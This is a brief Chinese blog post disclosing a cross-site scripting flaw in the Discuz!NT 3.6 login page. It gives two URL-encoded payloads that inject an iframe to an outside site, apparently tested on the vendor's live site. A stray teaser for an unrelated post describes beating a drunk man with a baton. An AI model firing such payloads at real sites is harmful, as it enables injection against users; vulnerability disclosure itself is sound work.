By：猪哥靓
登陆框提交用户名或密码的时候存在跨站漏洞。
|
以下是引用片段： http://nt.discuz.net/login.aspx?postusername=%22%3E%3Ciframe%20src=%22https://lcx.cc%22%3E |
可以这样利用的，[size=-1]example：
|
以下是引用片段： example：http://nt.discuz.net/login.aspx?referer=%22%3E%3Ciframe%20src=%22https://lcx.cc%22%3E |
文章来源于lcx.cc:Discuz!NT 3.6 跨站漏洞 -- 官网测试
昨天晚上用甩棍把人脑袋打出血了。。。 x防部 | 2013-09-12 14:54 晚上我出去买烟，道上有个酒鬼撞了我一下，还骂了我一句。 我用拳头打了他的脸，这时候另一个和他一起的酒鬼上来了。 我脑袋一热从腰上摘下防身的甩棍，抽了他头一下。 他用手捂着脑袋，…
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论